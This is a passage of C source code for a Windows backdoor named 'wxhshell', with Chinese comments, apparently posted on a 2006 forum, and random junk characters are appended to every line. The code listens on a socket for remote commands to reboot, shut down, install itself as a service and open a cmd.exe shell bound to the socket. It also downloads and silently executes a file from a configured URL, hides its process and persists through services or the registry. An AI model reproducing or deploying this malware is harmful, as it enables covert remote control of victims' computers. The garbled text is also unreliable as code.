    switch(cmd[0]) { E<[ Y KY  
  fZavZ\qU  
  // 帮助 P47x-;  
  case '?': { eXAJ%^iD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *6aIDFNl  
    break; :pdl2#5H^  
  } )wNcz~ Y  
  // 安装 [?55vYt  
  case 'i': { n.7-$1  
    if(Install()) &&ZX<wOM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dCA! R"HD  
    else X#k:J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g `(3r  
    break; c<ORmg6  
    } dwqR,|  
  // 卸载 \IP 9EFA  
  case 'r': { PY MofQaZ  
    if(Uninstall()) ;~GBD]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-:o+S`q~  
    else QTospHf`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uK=)65]  
    break; s8  5l  
    } lx<!*2 -^  
  // 显示 wxhshell 所在路径 Om(Ir&0  
  case 'p': { Ez / W$U  
    char svExeFile[MAX_PATH]; MNf^ml[  
    strcpy(svExeFile,"\n\r"); 1G8,Eah  
      strcat(svExeFile,ExeFile); Vt(s4  
        send(wsh,svExeFile,strlen(svExeFile),0); Ip |=NQL>  
    break; k_`h (R  
    } U&W/Nj  
  // 重启 snYyxi  
  case 'b': { [nf 5<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L:\>)6]Ls  
    if(Boot(REBOOT)) CrB4%W:{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&rz*)|/  
    else { TPn#cIPG  
    closesocket(wsh);  Dn#^-,H  
    ExitThread(0); cAq5vAqmg  
    } & zv!cf  
    break; ?4#UW7I  
    } p"0Dl9  
  // 关机 _%u t#  
  case 'd': { gh `]OxA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~?:>=x  
    if(Boot(SHUTDOWN)) V8rS~'{\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(mF5BE-E  
    else { p,BoiYdi  
    closesocket(wsh); tYp 185  
    ExitThread(0); u\(>a  
    } ]Pe8G(E!  
    break; {f\{{JJ]  
    } %c@PTpAM  
  // 获取shell bwI"V&*  
  case 's': { +ryB*nT  
    CmdShell(wsh); ^% L;FGaA  
    closesocket(wsh); hi/Z>1ZOX  
    ExitThread(0); (aLjW=  
    break; n&2OfBJ  
  } W5/|.}  
  // 退出 sB5@6[VDI  
  case 'x': { gs&F .n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nrR2U`  
    CloseIt(wsh); 6mqp`x`  
    break; K >Q 6  
    } ]&s@5<S[  
  // 离开 Sx1|Oq]  
  case 'q': { n#sK31;yb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QO:Z8{21So  
    closesocket(wsh); [X7gP4  
    WSACleanup(); ??f,(om  
    exit(1); ZiPz~G0[^  
    break; \Vpv78QF;  
        }  $Gcjm~  
  } *z};&UsF{  
  } I|wC`VgB  
kt |j]:  
  // 提示信息 `A#0If  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -2j[;kgt}  
} s4j]kH  
  } ?6UjD5NkX  
4";NT;_q5  
  return; =@c;%x  
} Y;@]G=a   
"wCx]{Di  
// shell模块句柄 *'*n}fM  
int CmdShell(SOCKET sock) u$FL(m4  
{  % s@  
STARTUPINFO si; vdigw.=z  
ZeroMemory(&si,sizeof(si)); qHvU4v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i-?mghe8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z<%dWz  
PROCESS_INFORMATION ProcessInfo; G#ELQ/Q  
char cmdline[]="cmd"; Q.fUpa v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NLu[<u U*  
  return 0; JXHf$k  
} P/xE n_*v  
BF 0#G2`h>  
// 自身启动模式 `KZu/r-M9  
int StartFromService(void) K'B*D*w  
{ zN9#qlfv  
typedef struct  > H&v  
{ P 5.@LN  
  DWORD ExitStatus;  OO</d:  
  DWORD PebBaseAddress; xUNq!({T  
  DWORD AffinityMask; 5gkQ6& m  
  DWORD BasePriority; d|8-#.gV  
  ULONG UniqueProcessId; hAt4+O&P  
  ULONG InheritedFromUniqueProcessId; ;GKL[ tI"  
}   PROCESS_BASIC_INFORMATION; 9{e/ V)  
W>qu~ak?x  
PROCNTQSIP NtQueryInformationProcess; j3H_g ^  
z]KJ4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X"9N<)C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~dzD7lG6  
) ~gIJW  
  HANDLE             hProcess; eeBW~_W  
  PROCESS_BASIC_INFORMATION pbi; gW<4E=fl  
RF;[:[*W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WX]O1Y  
  if(NULL == hInst ) return 0; EdTL]Xk  
olr-oi`4C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yf/e(nV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +43~4_Oj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^Ku]8/ga  
l`uMtv/Wp  
  if (!NtQueryInformationProcess) return 0; yo(MJ^=d  
X|&H2y|*7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YWJ$Pp  
  if(!hProcess) return 0; q<Qjc  
irvd>^&jDC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ueCbfV!Z4  
Jd?qvE>Pp  
  CloseHandle(hProcess); 59p'U/|  
|KZX_4   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +SE\c  
if(hProcess==NULL) return 0; @.c[z D  
?JTTl;  
HMODULE hMod; [-i&)eX  
char procName[255]; P#Whh  
unsigned long cbNeeded; ;<mcvm  
Mlr'h}:H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j9yOkaVEg  
BsL+9lNue  
  CloseHandle(hProcess); @!j6y (@  
8TG|frS  
if(strstr(procName,"services")) return 1; // 以服务启动 D?UURURf  
{p$@)b  
  return 0; // 注册表启动 m 9\"B3sr  
} sCP|d`'  
c##tP*(  
// 主模块 `.dwG3R  
int StartWxhshell(LPSTR lpCmdLine) Ujlbcv6+  
{ 9HPmJ`b  
  SOCKET wsl; "q1S.3V;  
BOOL val=TRUE; @t@B(1T  
  int port=0; P;K LN9/4  
  struct sockaddr_in door; CrSBN~  
N-t"CBTO  
  if(wscfg.ws_autoins) Install(); N=7iQ@{1   
oO`a{n-  
port=atoi(lpCmdLine); 4)>UTMF  
%O f w"W  
if(port<=0) port=wscfg.ws_port; 3aBE[  
@'5*jXd  
  WSADATA data; w<zzS: PF*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,qo^G0XO  
mXS"nd30bD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R'6(eA[K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ihr[44#  
  door.sin_family = AF_INET; |z"$^|@d?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .{ZJywE<  
  door.sin_port = htons(port); J7C?Z  
HG< z,gE 2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -T i<H9OV  
closesocket(wsl); C9!FnvH  
return 1; `p1B58deC  
} Q+wO\TtE  
c~ vql4  
  if(listen(wsl,2) == INVALID_SOCKET) { 1 0.Z Bfn  
closesocket(wsl); r NKeY48\  
return 1; _~{J."q  
} P;-.\VRu  
  Wxhshell(wsl); 2VUN  
  WSACleanup(); r%WHYhD  
Oo-4WqRJ  
return 0; tQYV4h\Qj  
eK5~gnv,  
} 0I:5}$+J?  
zUDXkG*Lv  
// 以NT服务方式启动 Qds:*]vGS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UZmUYSu;  
{ ->o[ S0  
DWORD   status = 0; r$-P  
  DWORD   specificError = 0xfffffff; E2t& @t%W  
Nn-k hl|11  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )4-!]NsV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `sIm&.d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L+T'TC:  
  serviceStatus.dwWin32ExitCode     = 0; :?LNP3}  
  serviceStatus.dwServiceSpecificExitCode = 0; {Rb;1 eYj  
  serviceStatus.dwCheckPoint       = 0; )m+O.`x  
  serviceStatus.dwWaitHint       = 0; zDEgC  
.Y^3G7On  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KaS*LDzw  
  if (hServiceStatusHandle==0) return; K7.ayM 0  
3-6MGL9  
status = GetLastError(); [` }w7  
  if (status!=NO_ERROR) {O).!  
{ 2L[!~h2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2<h~: L  
    serviceStatus.dwCheckPoint       = 0; `QRXQ c  
    serviceStatus.dwWaitHint       = 0; f2pA+j5[  
    serviceStatus.dwWin32ExitCode     = status; ^c/3 !"wK  
    serviceStatus.dwServiceSpecificExitCode = specificError; "w0~f6o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )E7wBNV   
    return; L[<Y6u>m!1  
  } BNA1"@9q  
xdDe@G;"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~% t'}JDZ  
  serviceStatus.dwCheckPoint       = 0; "#gS?aS  
  serviceStatus.dwWaitHint       = 0; Z__fwv.X[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | oM`  
} k%\y,b*  
)F\kGe  
// 处理NT服务事件,比如:启动、停止 fv+d3s?h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X2;72  
{ m\CU,9;;(  
switch(fdwControl) 6R8>w,  
{ :;hX$Qz  
case SERVICE_CONTROL_STOP: 1Z;cb0:  
  serviceStatus.dwWin32ExitCode = 0; f x4#R(N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g:xg ~H2  
  serviceStatus.dwCheckPoint   = 0; $%!06w#u  
  serviceStatus.dwWaitHint     = 0; <n2'm  
  {  b{)kup  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qmGHuQVe  
  } AS:k&t  
  return;  f<$*,P  
case SERVICE_CONTROL_PAUSE: ( xzruI5P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oOLA&N-A~  
  break; 5D?{dA:Rq  
case SERVICE_CONTROL_CONTINUE: 0bJT0_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $bF+J8%D  
  break; c+7I  
case SERVICE_CONTROL_INTERROGATE: 7J`v#  
  break; ;;rx)|\<R  
}; ^&y*=6C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _D@QsQ_Z  
} } _];yw  
Wd(|w8J{a  
// 标准应用程序主函数 \fSruhD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vN@04a\h  
{ N+5f.c+S-  
{R[V  
// 获取操作系统版本 RhT:]  
OsIsNt=GetOsVer(); K4E2W9h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #lSGH 5Fp?  
>ifys)wg>  
  // 从命令行安装 zVe,HKF/  
  if(strpbrk(lpCmdLine,"iI")) Install(); "}%j'  
$sb@*K}:4  
  // 下载执行文件 H8B.c%_|U  
if(wscfg.ws_downexe) { p[%~d$JUq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dD'KP4Io@  
  WinExec(wscfg.ws_filenam,SW_HIDE); n ~&ssFC  
} wv\"(e7(  
Mh3L(z]/E  
if(!OsIsNt) { |HJ`uGN<b  
// 如果时win9x,隐藏进程并且设置为注册表启动 ) k[XO  
HideProc(); `WxGU  
StartWxhshell(lpCmdLine); N>sT@ > )  
} U UtS me  
else .wWf#bB  
  if(StartFromService()) 8@rF~^-_  
  // 以服务方式启动 .#a7?LUH  
  StartServiceCtrlDispatcher(DispatchTable); |a /cw"  
else %iYro8g!,  
  // 普通方式启动 )@y'$)5s  
  StartWxhshell(lpCmdLine); &gC)%*I 4  
@m:' L7+  
return 0; ~R=p[h)  
}
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只看该作者 1 发表于: 2006-10-10
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